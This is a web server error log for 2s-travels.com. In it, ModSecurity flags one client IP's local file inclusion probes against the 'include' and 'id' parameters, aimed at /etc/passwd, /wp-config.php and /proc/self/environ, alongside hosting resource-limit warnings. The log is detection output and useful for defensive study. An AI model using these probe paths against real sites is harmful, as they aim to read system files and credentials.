[Fri Jul 17 08:55:54.388813 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.395523 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:include: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS4AAAAB4"]
[Fri Jul 17 08:55:54.395778 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:include: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96NgAAAAw"]
[Fri Jul 17 08:55:54.396080 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwlCBpfuYyhJ140vS4AAAAB4"]
[Fri Jul 17 08:55:54.396205 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.396453 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwlCBpfuYyhJ140vS4AAAAB4"]
[Fri Jul 17 08:55:54.398298 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwol9vhFBGA6D8l96NgAAAAw"]
[Fri Jul 17 08:55:54.398430 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.398491 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:include: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6slQAAABQ"]
[Fri Jul 17 08:55:54.398585 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:include: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6slQAAABQ"]
[Fri Jul 17 08:55:54.398739 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwol9vhFBGA6D8l96NgAAAAw"]
[Fri Jul 17 08:55:54.398996 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwkgVnBK6wAv37w6slQAAABQ"]
[Fri Jul 17 08:55:54.399108 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.399348 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwkgVnBK6wAv37w6slQAAABQ"]
[Fri Jul 17 08:55:54.402651 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:include: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVuAAAABM"]
[Fri Jul 17 08:55:54.402805 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:include: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVuAAAABM"]
[Fri Jul 17 08:55:54.403405 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVuAAAABM"]
[Fri Jul 17 08:55:54.403551 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.403879 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwvwooI4qY7Jg93pVuAAAABM"]
[Fri Jul 17 08:55:54.406093 2026] [mime:warn] [pid 2030803:tid 2030803] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:54.435782 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:include: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB1QAAAAY"]
[Fri Jul 17 08:55:54.435918 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:include: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB1QAAAAY"]
[Fri Jul 17 08:55:54.436462 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB1QAAAAY"]
[Fri Jul 17 08:55:54.436629 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.436961 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwg5GPQ6hs4VrfMpB1QAAAAY"]
[Fri Jul 17 08:55:54.437209 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:include: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlqwAAAA0"]
[Fri Jul 17 08:55:54.437317 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:include: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlqwAAAA0"]
[Fri Jul 17 08:55:54.437847 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwivekYYQ8uns4MwlqwAAAA0"]
[Fri Jul 17 08:55:54.437943 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.438204 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwivekYYQ8uns4MwlqwAAAA0"]
[Fri Jul 17 08:55:54.463594 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.469691 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:54.474639 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.476934 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.479807 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.480476 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:54.481142 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.483361 2026] [mime:warn] [pid 2030798:tid 2030798] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:55:54.486645 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.497652 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:id: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB1wAAAAY"]
[Fri Jul 17 08:55:54.497766 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:id: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB1wAAAAY"]
[Fri Jul 17 08:55:54.497839 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.498167 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwg5GPQ6hs4VrfMpB1wAAAAY"]
[Fri Jul 17 08:55:54.498259 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.498498 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwg5GPQ6hs4VrfMpB1wAAAAY"]
[Fri Jul 17 08:55:54.501293 2026] [hostinglimits:warn] [pid 2018741:tid 2018741] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018741) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:54.501549 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:id. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:id: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVugAAABM"]
[Fri Jul 17 08:55:54.502132 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwvwooI4qY7Jg93pVugAAABM"]
[Fri Jul 17 08:55:54.502248 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
